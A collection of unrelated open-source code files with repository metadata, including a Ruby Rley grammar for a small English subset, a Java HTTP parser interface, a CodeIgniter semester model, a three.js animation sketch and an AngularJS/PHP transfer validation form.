$(e).unbind("mouseleave"); }); $.each(boletesPinya, function (i, e) { $(e).tooltipster({ delay: 100, maxWidth: 500, speed: 300, interactive: true, content: '', contentAsHTML: true, animation: 'grow', trigger: 'custom', contentCloning: false }); }); }
MPapus/QuanHiSomTots
js/tweets.js
JavaScript
mit
5,021
# frozen_string_literal: true # Grammar for a simple subset of English language # It is called nano-English because it has a more elaborate # grammar than pico-English but remains still tiny compared to "real" English require 'rley' # Load the gem ######################################## # Define a grammar for a nano English-like language # based on chapter 12 from Jurafski & Martin book. # Daniel Jurafsky,‎ James H. Martin: "Speech and Language Processing"; # 2009, Pearson Education, Inc., ISBN 978-0135041963 # It defines the syntax of a sentence in a mini English-like language builder = Rley::grammar_builder do add_terminals('Pronoun', 'Proper-Noun') add_terminals('Determiner', 'Noun') add_terminals('Cardinal_number', 'Ordinal_number', 'Quant') add_terminals('Verb', 'GerundV', 'Aux') add_terminals('Predeterminer', 'Preposition') rule 'language' => 'sentence' rule 'sentence' => 'declarative' rule 'sentence' => 'imperative' rule 'sentence' => 'yes_no_question' rule 'sentence' => 'wh_subject_question' rule 'sentence' => 'wh_non_subject_question' rule 'declarative' => 'NP VP' rule 'imperative' => 'VP' rule 'yes_no_question' => 'Aux NP VP' rule 'wh_subject_question' => 'Wh_NP NP VP' rule 'wh_non_subject_question' => 'Wh_NP Aux NP VP' rule 'NP' => 'Predeterminer NP' rule 'NP' => 'Pronoun' rule 'NP' => 'Proper-Noun' rule 'NP' => 'Det Card Ord Quant Nominal' rule 'VP' => 'Verb' rule 'VP' => 'Verb NP' rule 'VP' => 'Verb NP PP' rule 'VP' => 'Verb PP' rule 'Det' => 'Determiner' rule 'Det' => [] rule 'Card' => 'Cardinal_number' rule 'Card' => [] rule 'Ord' => 'Ordinal_number' rule 'Ord' => [] rule 'Nominal' => 'Noun' rule 'Nominal' => 'Nominal Noun' rule 'Nominal' => 'Nominal GerundVP' rule 'Nominal' => 'Nominal RelClause' rule 'PP' => 'Preposition NP' rule 'GerundVP' => 'GerundV' rule 'GerundVP' => 'GerundV NP' rule 'GerundVP' => 'GerundV NP PP' rule 'GerundVP' => 'GerundV PP' rule 'RelClause' => 'Relative_pronoun VP' end # And now build the grammar... NanoGrammar = builder.grammar
famished-tiger/Rley
examples/NLP/nano_eng/nano_grammar.rb
Ruby
mit
2,096
package org.nnsoft.shs.core.http.parse; /* * Copyright (c) 2012 Simone Tripodi (simonetripodi@apache.org) * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ import org.nnsoft.shs.core.http.MutableRequest; import org.nnsoft.shs.core.http.RequestParseException; /** * ParserTrigger instances are invoked depending on the {@link ParserStatus}. */ interface ParserTrigger { /** * Performs an parse action on the input token, adding data to the request, depending on the parser status. * * @param status the current parser status. * @param token the consumed token. * @param request the request that the parser is currently building * @throws RequestParseException if any syntax error occurs */ ParserStatus onToken( ParserStatus status, String token, MutableRequest request ) throws RequestParseException; }
simonetripodi/shs
core/src/main/java/org/nnsoft/shs/core/http/parse/ParserTrigger.java
Java
mit
1,894
<?php class Addsemester_model extends CI_Model { function validateSem($semesterid) { $this->db->select('semester_id'); $this->db->where('semester_id', $semesterid); $query = $this->db->get('semester'); if ($query->result_array()) { return TRUE; } else { return FALSE; } } function add_semester($semester) { if ($this->db->insert('semester', $semester)) { return TRUE; } else { return FALSE; } } }
juliemh/tatui
application/models/Addsemester_model.php
PHP
mit
574
var sc1 = { //funhouse mirror setup:function(){ // videoSetup(); tree = new TREE(); tree.generate({ joints: [5,3,1,10], divs: [1], start: [0,0,2,0], angles: [0,Math.PI/2,1], length: [20,15,4,1], rads: [1,2,1,3], width: [1,2,2,1] }); scene.add(tree); tree.position.y=-50; console.log(tree); var ball = new THREE.SphereGeometry(15,15,15); var ball2 = new THREE.Geometry(); tree.xform(tree.makeInfo([ [0,0,"all"],{ballGeo:ball,ballGeo2:ball2}, ]),tree.setGeo); tree.xform(tree.makeInfo([ [0,0,"all"],{ty:-15}, ]),function(obj,args){obj.children[0].children[0].position.y=7.5;}); // scene.add(tree.makeTubes({minWidth:1,func:function(t){return Math.sin(t)*2}})); }, draw:function(time){ time=time*3; tree.position.y = -40+Math.sin(omouseY*Math.PI*4)*3; tree.xform(tree.makeInfo([ [0,0,[1,5]],{rz:omouseX,ry:omouseY,sc:.9}, //legs [0,0,0,[0,1],1],{rz:Math.PI/2}, [0,0,0,[0,1],1],{ry:omouseX*3}, [0,0,0,[0,1],2],{rx:omouseY*3}, //feet [0,0,0,[0,1],0,0,0],{rz:0}, [0,0,0,[0,1],0,0,0],{rx:omouseY*3}, [0,0,[0,4],[0,1],0],{ty:-10}, [0,0,[1,4],[0,1],[1,2]],{rz:mouseY,freq:1,offMult:.2,off:time}, //fingers [0,0,[1,4],[0,1],0,0,0,[0,2],"all"],{rz:0,freq:1,offMult:.2,off:time}, [0,0,[1,4],[0,1],0,0,0],{rz:0,freq:1,offMult:.3,off:time+.2}, //feet [0,0,0,[0,1],0,0,0,[0,2],"all"],{ry:0,rz:omouseY*.1,sc:.9}, [0,0,0,0,0,0,0,[0,2],0],{sc:2,ry:-2*omouseY+1.5,rz:1}, [0,0,0,1,0,0,0,[0,2],0],{sc:2,ry:-2*omouseY-1.5,rz:1}, //toes [0,0,0,0,0,0,0,[0,2],0],{sc:2,ry:0,freq:1,offMult:.2 ,offsetter2:.5}, [0,0,0,1,0,0,0,[0,2],0],{sc:2,ry:Math.PI-.3,freq:1,offMult:.2,offsetter2:.5}, ]),tree.transform); } }
dlobser/treejs
sketches/sc27.js
JavaScript
mit
1,772
'use strict'; // 頑シミュさんの装飾品検索の結果と比較しやすくする function simplifyDecombs(decombs) { return decombs.map(decomb => { let torsoUp = Object.keys(decomb).map(part => decomb[part]).some(comb => { if (comb == null) return false; return comb.skills['胴系統倍加'] ? true : false; }); let names = []; Object.keys(decomb).forEach(part => { let comb = decomb[part]; let decos = comb ? comb.decos : []; if (torsoUp && part === 'body') decos = decos.map(deco => deco += '(胴)'); names = names.concat(decos); }); return names.sort().join(','); }); } exports.simplifyDecombs = simplifyDecombs;
sakusimu/mh-skillsimu
test/support/util.js
JavaScript
mit
755
<div ng-if="checkPermissions( 'transferValidations', 'view' )"> <div class="panel panel-default"> <div class="panel-heading"> <h3 class="panel-title">Transfer #{{ transferItem.id }}</h3> </div> <div class="panel-body"> <form class="form-horizontal"> <div class="row"> <div class="col-sm-12 col-md-9 col-lg-10"> <div class="row"> <div class="col-sm-5"> <!-- Date of Transfer --> <div class="form-group"> <label class="control-label col-sm-5">Transfer Date/Time</label> <div class="col-sm-7"> <p class="form-control-static">{{ transferItem.transfer_datetime | date: 'yyyy-MM-dd HH:mm:ss' }}</p> </div> </div> <!-- Source --> <div class="form-group"> <label class="control-label col-sm-5">Source</label> <div class="col-sm-7"> <p class="form-control-static">{{ transferItem.origin_name }}</p> </div> </div> <!-- Destination --> <div class="form-group"> <label class="control-label col-sm-5">Destination</label> <div class="col-sm-7"> <p class="form-control-static">{{ transferItem.destination_name }}</p> </div> </div> <!-- Transfer Status --> <div class="form-group"> <label class="control-label col-sm-5">Transfer Status</label> <p class="form-control-static col-sm-7">{{ transferItem.get( 'transferStatusName' ) }}</p> </div> </div> <div class="col-sm-7"> <!-- Receipt Validation Status --> <div class="form-group" ng-if="transferItem.transfer_status != <?php echo TRANSFER_PENDING;?> && transferItem.transfer_validation.transval_status != <?php echo TRANSFER_VALIDATION_NOTREQUIRED;?>"> <label class="control-label col-sm-5">Receipt Validation Status</label> <p class="form-control-static col-sm-7" ng-switch on="transferItem.transfer_validation.transval_receipt_status != null"> <span ng-switch-when="true"> <i class="glyphicon glyphicon-ok text-success" ng-if="transferItem.transfer_validation.transval_receipt_status == <?php echo TRANSFER_VALIDATION_RECEIPT_VALIDATED;?>"> </i> <i class="glyphicon glyphicon-repeat text-danger" ng-if="transferItem.transfer_validation.transval_receipt_status == <?php echo TRANSFER_VALIDATION_RECEIPT_RETURNED;?>"> </i> {{ transferItem.transfer_validation.get( 'receiptStatus' ) }} on {{ transferItem.transfer_validation.transval_receipt_datetime | date: 'yyyy-MM-dd HH:mm:ss' }} </span> <span ng-switch-default>Pending</span> </p> </div> <!-- Sweeper --> <div class="form-group" ng-if="transferItem.transfer_status != <?php echo TRANSFER_PENDING;?> && transferItem.transfer_validation.transval_status != <?php echo TRANSFER_VALIDATION_NOTREQUIRED;?>"> <label class="control-label col-sm-5">Validated by</label> <div class="col-sm-7" ng-switch on="transferItem.canValidateReceipt()"> <input type="text" class="form-control" ng-switch-when="true" ng-model="transferItem.transfer_validation.transval_receipt_sweeper" ng-model-options="{ debounce: 500 }" ng-change="onRecipientChange()" typeahead-on-select="onRecipientChange()" typeahead-editable="true" uib-typeahead="user as user.full_name for user in findUser( $viewValue )"> <p ng-switch-default class="form-control-static">{{ transferItem.transfer_validation.transval_receipt_sweeper }}</p> </div> </div> <!-- Validation Status --> <div class="form-group"> <label class="control-label col-sm-5">Validation Status</label> <p class="form-control-static col-sm-7" ng-switch on="transferItem.transfer_validation.transval_status != null"> <span ng-switch-when="true">{{ transferItem.transfer_validation.get( 'validationStatus' ) }}</span> <span ng-switch-default>---</span> </p> </div> </div> </div> </div> <div class="col-sm-12 col-md-3 col-lg-2"> <button type="button" class="btn btn-block btn-success" ng-if="transferItem.canValidateReceipt()" ng-click="validateReceipt()">Validate Receipt </button> <button type="button" class="btn btn-block btn-default" ng-disabled="" ng-if="transferItem.canReturn()" ng-click="markReturned()">Mark as Returned </button> </div> </div> </div> </form> </div> <!-- Receipt information --> <div class="panel panel-default" ng-if="['view', 'receipt', 'externalReceipt'].indexOf( data.editMode ) != -1"> <div class="panel-heading"> <h3 class="panel-title">Receipt Information</h3> </div> <div class="panel-body" ng-switch on="transferItem.transfer_status"> <form class="form-horizontal" ng-switch-when="<?php echo TRANSFER_RECEIVED;?>"> <div class="row"> <div class="col-sm-12 col-md-9 col-lg-10"> <div class="row"> <div class="col-sm-5"> <!-- Receipt Date --> <div class="form-group"> <label class="control-label col-sm-5">Receipt Date/Time</label> <p class="form-control-static col-sm-7">{{ transferItem.receipt_datetime ? ( transferItem.receipt_datetime | date: 'yyyy-MM-dd HH:mm:ss' ) : 'Pending receipt' }}</p> </div> <!-- Recipient --> <div class="form-group"> <label class="control-label col-sm-5">Recipient</label> <p class="form-control-static col-sm-7">{{ transferItem.recipient_name ? transferItem.recipient_name : 'Pending receipt' }}</p> </div> </div> <div class="col-sm-7" ng-if="transferItem.transfer_validation.transval_status != <?php echo TRANSFER_VALIDATION_NOTREQUIRED;?>"> <!-- Delivery Validation Status --> <div class="form-group" ng-if="transferItem.transfer_validation.transval_status != <?php echo TRANSFER_VALIDATION_NOTREQUIRED;?>"> <label class="control-label col-sm-5">Delivery Validation Status</label> <p class="form-control-static col-sm-7" ng-switch on="transferItem.transfer_validation.transval_transfer_status != null"> <span ng-switch-when="true"> <i class="glyphicon glyphicon-ok text-success" ng-if="transferItem.transfer_validation.transval_transfer_status == <?php echo TRANSFER_VALIDATION_TRANSFER_VALIDATED;?>"> </i> <i class="glyphicon glyphicon-remove text-danger" ng-if="transferItem.transfer_validation.transval_transfer_status == <?php echo TRANSFER_VALIDATION_TRANSFER_DISPUTED;?>"> </i> {{ transferItem.transfer_validation.get( 'transferStatus' ) }} on {{ transferItem.transfer_validation.transval_transfer_datetime | date: 'yyyy-MM-dd HH:mm:ss' }} </span> <span ng-switch-default>Pending</span> </p> </div> <!-- Sweeper --> <div class="form-group" ng-if="transferItem.transfer_validation.transval_status != <?php echo TRANSFER_VALIDATION_NOTREQUIRED;?>"> <label class="control-label col-sm-5">Validated by</label> <div class="col-sm-7" ng-switch on="transferItem.canValidateTransfer()"> <input type="text" class="form-control" ng-switch-when="true" ng-model="transferItem.transfer_validation.transval_transfer_sweeper" ng-model-options="{ debounce: 500 }" ng-change="onTransfereeChange()" typeahead-on-select="onTransfereeChange()" typeahead-editable="true" uib-typeahead="user as user.full_name for user in findUser( $viewValue )"> <p class="form-control-static" ng-switch-default>{{ transferItem.transfer_validation.transval_transfer_sweeper }}</p> </div> </div> </div> </div> </div> <div class="col-sm-12 col-md-3 col-lg-2" ng-if="( transferItem.transfer_validation.transval_status != <?php echo TRANSFER_VALIDATION_NOTREQUIRED;?> ) && ( transferItem.transfer_validation.transval_status != <?php echo TRANSFER_VALIDATION_COMPLETED;?> )"> <button type="button" class="btn btn-block btn-success" ng-if="transferItem.canValidateTransfer()" ng-click="validateTransfer()">Validate Transfer </button> <button type="button" class="btn btn-block btn-danger" ng-if="transferItem.canDispute()" ng-click="markDisputed()">Mark as Disputed </button> </div> </div> </form> <div class="text-center" ng-switch-default>Pending receipt</div> </div> </div> <!-- Transfer Items --> <div class="panel panel-default" style="max-height: 300px; overflow-y: auto;"> <div class="panel-heading"> <h3 class="panel-title">Transfer Items</h3> </div> <table class="table table-condensed"> <thead> <tr> <th class="text-center" style="width: 50px;">Row</th> <th class="text-left">Item</th> <th class="text-left">Remarks</th> <th class="text-left">Category</th> <th class="text-center" style="width: 100px;">Quantity</th> <th class="text-center" style="width: 100px;">Received</th> <th class="text-center" ng-if="[ 'view', 'receipt' ].indexOf( data.editMode ) == -1">Void</th> </tr> </thead> <tbody> <tr ng-repeat="row in transferItem.items" ng-class="{ 'bg-success': row.checked, 'text-danger': ( ( transferItem.transfer_status == <?php echo TRANSFER_RECEIVED;?> ) && ( row.quantity != row.quantity_received ) ), danger: ( [ <?php echo implode( ', ', array( TRANSFER_ITEM_VOIDED, TRANSFER_ITEM_CANCELLED ) );?> ].indexOf( row.transfer_item_status ) != -1 ), deleted: ( [ <?php echo implode( ', ', array( TRANSFER_ITEM_VOIDED, TRANSFER_ITEM_CANCELLED ) );?> ].indexOf( row.transfer_item_status ) != -1 ) }"> <td class="text-center">{{ $index + 1 }}</td> <td class="text-left">{{ row.item_name }}</td> <td class="text-left">{{ row.remarks ? row.remarks : '---' }}</td> <td class="text-left">{{ row.cat_description ? row.cat_description : '---' }}</td> <td class="text-center">{{ row.quantity | number }}</td> <td class="text-center"> <i class="glyphicon glyphicon-exclamation-sign text-danger" ng-if="transferItem.transfer_status == <?php echo TRANSFER_RECEIVED;?> && row.quantity != row.quantity_received"> </i> {{ row.quantity_received == null ? '---' : ( row.quantity_received | number ) }}</td> <td class="text-center"> <input type="checkbox" ng-model="row.checked" ng-if="row.transfer_item_status != 4 && row.transfer_item_status != 5"> </td> </tr> <tr ng-if="!transferItem.items.length"> <td colspan="7" class="text-center bg-warning"> No transfer item </td> </tr> </tbody> </table> </div> <!-- Form buttons --> <div class="text-right"> <button type="button" class="btn btn-default" ng-if="checkPermissions( 'transferValidations', 'complete' ) && transferItem.transfer_validation.transval_status != <?php echo TRANSFER_VALIDATION_NOTREQUIRED; ?>" ng-click="markNotRequired()">Validation Not Required </button> <button type="button" class="btn btn-success" ng-if="transferItem.canCompleteValidation( true )" ng-disabled="!transferItem.canCompleteValidation()" ng-click="markCompleted()">Mark as Completed </button> <button type="button" class="btn btn-default" ng-if="transfer.canOpenValidation()" ng-click="markOngoing()">Mark as Ongoing </button> <button type="button" class="btn btn-default" ui-sref="main.store({ activeTab: 'transferValidations' })">Close</button> </div> </div> <div ng-if="! checkPermissions( 'transferValidations', 'view' )"> <h1>Access Denied</h1> <p>You are not authorized to view this page. If you believe that this is incorrect please contact your system administrator.</p> </div>
winskie/frogims
application/views/partial_transfer_validation_form.php
PHP
mit
11,954